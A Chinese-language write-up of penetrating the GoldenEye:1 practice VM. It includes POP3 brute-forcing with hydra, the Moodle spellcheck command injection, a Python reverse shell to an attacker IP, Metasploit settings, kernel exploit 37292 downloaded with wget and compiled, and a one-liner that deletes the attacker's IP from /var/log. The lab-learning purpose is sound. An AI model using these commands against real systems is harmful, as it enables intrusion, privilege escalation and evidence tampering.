GoldenEye靶机渗透
免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。
准备工作
同样在virtualbox里面的兼容性比VM中好很多,依旧建议将目标靶机放在virtualbox中,然后设置里面改成桥接模式,网卡选择与VM中的kali一样的即可:

信息搜集
登录初始界面
按照DC系列的过程来的话还是先nmap敲两个命令看一下,但是在这里输入第二个命令时会出现问题:
nmap -sn 10.144.71.0/24
nmap -sV -p- 10.144.71.181

一共花了189s,因为全端口扫描 + 版本探测放在一起做是最慢的,如果要加快速度的话可以不测版本,速度选择更加激进的(真实环境可能被封ip,按需选择)
nmap -p- -Pn -T5 10.144.71.181

可以看到这次只花了7s的时间,速度可谓相当之快了。
回到正轨,先浏览器里面访问一下:

直接给出了登录的路径,访问一下是弹窗登录,尝试了几个弱口令之后发现无果,然后就回到了原来的界面看了一下数据包,在js中找到了一段注释:

给出了一段编码后的数字,还给了两个用户,先把这串解码一下:

得到了一串密码:InvincibleHack3r
然后是用户:Boris Natalya
尝试登录,有个坑爹的地方是账户首字母是小写,自己多多尝试,得到最终的账户密码:
natalya
InvincibleHack3r
爆破pop3
进去之后给了一段话:
“黄金眼”是苏联一项绝密轨道武器项目。既然您能访问该项目,您肯定持有绝密级安全许可,并有资格成为认证的“黄金眼”网络操作员(GNO)。
请发送电子邮件给一位合格的GNO主管,以获取在线**GoldenEye操作员培训**,从而成为GoldenEye系统的管理员。
请记住,由于**_隐蔽式安全策略_**非常有效,我们将 POP3 服务配置为运行在非常高的非默认端口上。
这里面有一个POP3服务,不清楚的话去搜一下:
POP3(Post Office Protocol 3,邮局协议第3版)是一种用于接收电子邮件的互联网标准协议。
简单来说,它的作用是让邮件客户端(如 Outlook、Foxmail、手机自带邮件App)从邮件服务器上下载邮件到本地设备。
核心特点:
-
下载后离线阅读:邮件被下载到电脑或手机后,即使断开网络,也能阅读已下载的邮件。
-
默认不保留副本:POP3 的经典行为是“下载后从服务器删除”。不过现在大多数客户端都有“在服务器上保留副本”的选项。
-
单向操作:本地的操作(如“已读”、“删除”、“移动文件夹”)通常不会同步回服务器。因此,如果在手机上删了一封邮件,网页邮箱里可能还在;反之亦然。
-
适合单设备:主要适用于只用一台设备(如家里的电脑)收邮件的场景。
那么这里的高非默认端口就是我们之前扫出来的55006和55007了,再指定这两个端口进行探测:
nmap -sV -p 55006,55007, 10.141.71.181

很清楚的看到运行的就是pop3的服务,55006是加密过的【ssl】,接下来我们需要做的事情就是去如何连上pop3的服务,运用到的是nc。
这里面涉及到POP3的本质:
当我们配置邮箱客户端(如 Outlook)收信时,它实际上是在后台通过 TCP 连接向服务器的 POP3 端口(默认110)发送一串文本指令,服务器收到后,也会回复纯文本的内容。
而nc做的事情就是:建立TCP/UDP连接,然后把我们的键盘输入原封不动地发给对方,再把对方发回的内容打印在我们的屏幕上。
所以,用 nc 连接 POP3 端口,就等于让我们 手动模拟 邮件客户端的行为,构造命令如下:
nc 10.144.71.181 55007
还得了解一下跟POP3有关的命令:
1. 查看服务器欢迎信息(连接后自动显示,无需命令)
2. 登录认证
USER 用户名
PASS 密码
登录成功后,服务器会返回 +OK。
3. 查看邮箱状态
STAT
返回:+OK 邮件数量 总字节数
4. 列出所有邮件
LIST
返回每封邮件的编号和大小。
也可以 LIST 邮件编号 查看单封。
5. 获取邮件内容
RETR 邮件编号
例如 RETR 1 获取第1封邮件的完整内容(含头部和正文)。
6. 删除邮件
DELE 邮件编号
标记为删除,实际在 QUIT 后生效。
7. 恢复已标记删除的邮件
RSET
清除所有 DELE 标记。
8. 无操作(保活)
NOOP
服务器只返回 +OK,不做其他事。
9. 退出并提交更改
QUIT
但是这里有个问题是还得先进行登录,尝试了之前登录的账号密码发现不行,dirsearch扫了web端还没别的隐藏目录了,那么只能进行暴力破解,使用hydra进行,先将我们原来得到的两个账户写进文件中,方便一点直接nano一下就好了:
nano 1.txt
之后是用hydra进行爆破,但是如果直接上rockyou的话我看了一下,上面每过一段时间会显示进度,第一次显示的时候还需要5297h(应该没看错),这要么换工具要么换更小的字典,而**fasttrack.txt 是一个“精悍的高频漏洞密码集”,用这个字典进行爆破:
hydra -L 1.txt -P /usr/share/wordlists/fasttrack.txt 10.144.71.181 -s 55007 pop3
不知道为啥跟网上的师傅写的不一样,这里我只爆破出来一个:

nc进行登录:
USER natalya
PASS bird
后面的命令就参照上面讲的来,在第二个文件中发现新的账户密码:
username: xenia
password: RCP90rulez!
并且邮件中还有别的信息:

这里就是要再配置一个虚拟主机,域名是 severnaya-station.com,通过/etc/host修改即可,linux上就不说了,windows则是以管理员身份运行记事本,打开C:\Windows\System32\drivers\etc,文件类型选择所有类型即可看到hots文件,然后在文末加上相应的配置即可:

然后再访问severnaya-station.com/gnocertdir就能看到登录界面,进行登录即可。
登录页面,再次爆破
进去之后肯定得找漏洞啥的,但是看了一圈好像没什么东西,wappalyzer只能看到CMS为Moodle,竟然没看不出版本号,那可能就是有屏蔽啥的,换个方向,看到一个上传文件的地方,试了一下直接能传php:

我这里上传的是一句话木马,但是光上传成功肯定没用,还得知道上传的路径在哪里,但是我没找到,用无影爆破路径也没爆破出来....
又翻了一遍,在message中的recent-conversations中有一封邮件:

里面就是又提到了一个email doak 再次尝试hydra爆破:
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 10.144.71.181 -s 55007 pop3

这个也是pop3的账户和密码,nc连接得到新的邮件:
username: dr_doak
password: 4England!
图片隐写得到管理员密码
登录界面后全部翻一遍在文件中找到:

文件内容如下:
007,
I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg
Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
说是有张图片,可能是隐写,下到本地随波逐流一把梭:

得到一串很像base64的,解码一下:
xWinter1995x!
这个大概率就是文中admin的凭据【即密码】,尝试登录发现是登进去了,在环境中可以看到相应版本:

获取shell
web端
得到了管理员权限之后我四处找了一下(换了个主题,默认的看着太难受了),差不多每个目录都翻了一遍尝试能不能写入文件啥的,但直接写好像不行,网上找一下该Moodle版本的漏洞,这里不得不说一句找漏洞还得是谷歌,edge都翻不到啥。
谷歌看了之后是CVE2013,网址为https://www.exploit-db.com/exploits/29324
,这里面关键的话在这里:
Moodle allows an authenticated user to define spellcheck settings via the web interface.
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
By updating the path for the spellchecker to an arbitrary command, an attacker can run
arbitrary commands in the context of the web application upon spellchecking requests.
This module also allows an attacker to leverage another privilege escalation vuln.
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
as a previously unprivileged authenticated user.
This module was tested against Moodle version 2.5.2 and 2.2.3.
翻译成中文的话就是这样:
Moodle 允许已认证用户通过 Web 界面定义拼写检查设置。
用户可更新拼写检查机制,使其指向系统安装的 aspell 二进制文件。
攻击者通过将拼写检查器的路径修改为任意命令,可在触发拼写检查请求时,
以 Web 应用程序的权限执行任意命令。
该模块还可被攻击者利用另一个权限提升漏洞。
借助相关的跨站脚本(XSS)漏洞,低权限已认证用户可窃取管理员会话密钥(sesskey),
并利用其将自身权限提升至管理员级别,从而使该模块能够以原本权限较低的已认证用户身份反弹 Shell。
本模块已在 Moodle 2.5.2 及 2.2.3 版本上完成测试。
这里就是说我们可以通过修改拼写检查器的路径来获得反弹shell,但前提是要先改掉aspell【一款开源、免费、跨平台的命令行拼写检查工具与程序库,在 Linux/Unix 系统中非常流行,常被各类软件(如本文中的Moodle)集成作为后台拼写引擎】
了解了这个之后我们再回过头去看一下相应文件,首先找到的是系统路径:

这里就是我们可以执行相应命令的地方使用python反弹(bash尝试了不行哎),记得在攻击机开监听
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后exp中还有一个点:

这里的意思是对 TinyMCE 富文本编辑器 拼写检查引擎的设定,核心是指定使用 PSpellShell 模式调用服务器端的 aspell 命令行工具,稍微拓展看一下:
| 引擎 | 原理 | 依赖 | 特点 |
|---|---|---|---|
| GoogleSpell | 调用谷歌在线 API | 联网、外网访问 | 简单、依赖网络 |
| PSpell | PHP 内置 pspell 扩展 |
需编译 php_pspell |
稳定、但安装麻烦 |
| PSpellShell | 执行系统 aspell 命令行 |
服务器装 aspell、路径正确 |
本地高速、多语言强、可自定义字典 |
| 那么根据以上内容我们也就能很快定位到所要的位置了: |

最后看一下正常流程:
- 用户在 TinyMCE 点 “拼写检查”
- Moodle 调用
PSpellShell - 执行系统命令:
/usr/bin/aspell(之前看到的路径) - aspell 检查文本 → 返回结果到网页
现在我们已经完成了系统命令和PSpellShell设置,只差在TinyMCE中点击拼写检查了,找到并点击:

(藏的是真的深...)
回到kali中发现执行成功,搞个tty:
python -c 'import pty; pty.spawn("/bin/bash")'

MSF工具使用
网上还看到别的师傅直接上MSF的,exp里面也写了可以用MSF,尝试一下:

可以看到这里是有CVE2013的,后面就是进行相应设置,先看一下要设置的有哪些:
use 1
show options

按照上面的来进行设置即可:
set PASSWORD xWinter1995x!
set RHOST severnaya-station.com
set TARGETURI /gnocertdir
//还得自己设置反弹shell,默认的连不上
set payload cmd/unix/reverse
set lhost 10.144.71.177
run

(成功~)
后渗透
SUID尝试
连接到shell之后就是提权了,sudo -l需要密码,那就看下SUID有没有什么可以利用的地方,这里具体讲一下,之前在DC系列都是看着有很明显的就用了,然后感觉没有的就跳过了
find / -perm -u=s -type f 2>/dev/null
显示的结果如下,不放图了:
/bin/umount
/bin/ping6
/bin/ping
/bin/su
/bin/mount
/bin/fusermount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mtr
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/sbin/pppd
/usr/sbin/uuidd
首先,概率最高的便是 /usr/bin/sudo 也就是我们刚开始用的sudo -l,但是一般情况下都是需要密码的,其次是 /bin/su ,切换用户用的,适用于横向移动,但默认也得知道密码。
然后是/usr/bin/passwd可以修改密码,但正常不能直接提权,而且修改的话也只是当前用户的,还有一个是/bin/mount 可挂载任意分区、覆盖 /etc/passwd、提权:
正常普通用户不能挂载设备,有了 SUID 就可以。
经典利用思路如下:
- 挂载一个我们可控的分区 / 镜像
- 在里面放一个 SUID 程序、或者修改
/etc/passwd、/etc/sudoers - 再用它提权
最常见的是: 用 mount 挂载 /dev 下的磁盘分区,直接读写系统文件
mount /dev/sda1 /mnt
要用这个的话首先得知道系统盘是啥,两个命令可以看:
df -h
mount

这里给一个模板:
# 1. 建个目录
mkdir /tmp/mnt
# 2. 用 SUID mount 挂载系统分区
/bin/mount /dev/sda1 /tmp/mnt
# 3. 直接修改 shadow 或 passwd,加个 root 用户
echo "root2::0:0:root:/root:/bin/bash" >> /tmp/mnt/etc/passwd
# 4. 切 root
su root2
但是这里用不了:
- 黄金眼是老 Ubuntu,普通用户即使 mount 带 SUID
- 内核 / 系统默认限制 普通用户不能随便挂载物理磁盘
- 我们没有权限访问
/dev/sda1这类块设备
内核漏洞利用
后续其他也没啥可以利用的了,看一下内核:
uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
去搜一下是CVE2015,编号37292,kali的exp库找找:
searchsploit 37292

一键复制一下:
searchsploit -m 37292.c

然后就是传到靶机上面,先开个http服务,再上传到/tmp目录下:
python3 -m http.server 8000
cd /tmp
wget http://Kali IP:8000/37292.c
chmod +x 37292.c

.....忘记是c文件了还没编译,先编译一下:
gcc 37292.c -o exp
这时候会出现一个报错:
The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'
靶机上没有gcc,那就找一下有无cc
which gcc
which cc

那就可以用cc来进行编译,但是原来的exp中是用gcc进行编译的,得改一下,为了避免冲突啥的先将原来/tmp目录下的文件删掉即可
rm 37292.c
# 确认是否删除
ls
然后修改对应的文件【划到最下面就能看到了】

然后重新上传再用cc编译即可:
cc 37292.c -o exp
chmod +x exp
./exp
成功提权:

查找flag
接下来就是找flag了
cd /root
ls -la
cat .flag.txt
查看内容:
568628e0d993b1973adc718237da6e93
看着像是md5加密,并且最后还说到/006-final/xvf7-flag/ 目录下,先解密一下结果是006 ,再到给的路径看一下,完结撒花★,°:.☆( ̄▽ ̄)/$:.°★ 。

拓展
痕迹清理
之前痕迹清理都是一个个找过去的,感觉太麻烦了,找AI要了一个一键清理的:
find /var/log -type f -exec grep -q "10.144.71.177" {} \; -exec sed -i "/10.144.71.177/d" {} \;
第一段:find /var/log -type f
作用:
从 /var/log 开始,找所有 “普通文件”
find:查找文件工具/var/log:从这个目录开始找(所有日志都在这)-type f:只找普通文件(不找文件夹)
第二段:-exec grep -q "10.144.71.177" {} \;
作用:
过滤出 “包含 IP” 的文件
参数解释:
-exec:对找到的每个文件执行后面的命令grep:搜索文本内容-q:安静模式 → 只告诉我们 “有没有”,不输出任何内容"10.144.71.177":要搜索的内容(你的 IP){}:代表 find 找到的当前文件\;:结束-exec的命令
总结:
只留下包含我们 IP 的文件,不含 IP 的直接跳过。
第三段:-exec sed -i "/10.144.71.177/d" {} \;
作用:
对文件执行:删除所有包含我们 IP 的行
这是最关键的一段!
参数解释:
-
-exec:再执行一个命令 -
sed:行编辑工具(用来删行、替换) -
-i:直接修改文件本身(in-place) -
/10.144.71.177/d/IP/:匹配包含这个 IP 的行d:delete → 删除这一行
-
{}:当前文件 -
\;:结束命令
总结:
只删包含我们 IP 的那几行,其他日志行 100% 保留!
如果要从根目录开始查找的话去到var/log就行,但是速度会很慢,而且有很多垃圾文件,grep报错。
尝试SSH登录
原来扫端口的时候显示没有22的SSH,然后我想着是不是因为这里面关了,敲了几个命令:
service ssh start
which ssh
发现没装SSH,那如果搞一个的话痕迹太明显了,还是尝试一下,先装个SSH:
apt-get install -y openssh-server
service ssh start
然后这里有个问题出现了:

说是软件源失效了,看似装了也没有用,那就到此为止了(本来还想着后面方便登录的)
总结
该靶机主要也是信息泄露,现在再从头看一遍会有一个更好的理解:
首先,是主机发现,访问web端时在js中第一次发现了账户密码
接下来是nmap扫到高位端口,结合扫出来和登录获取的信息确认为pop3爆破,得到了第二份账户密码,获得moodle端的登录权限
下一步则是在邮件中看到另一位发件人的账户,再结合hydra爆破得到新的账户和密码进行登录,并且在文件中发现新的线索
通过图片隐写的解析得到了管理员的账户密码,登录后结合历史漏洞获取到了shell。
最后通过内核提权,拿到root权限,得到最终的flag。
可以发现,敏感信息泄露贯穿了从开始打靶到拿到shell的整个阶段,由此也可见对敏感信息保护的重要性
GoldenEye:1至此结束
“Privacy is not something that I’m merely entitled to, it’s an absolute prerequisite.”
隐私不只是我应得的权利,它是一项绝对前提。

浙公网安备 33010602011771号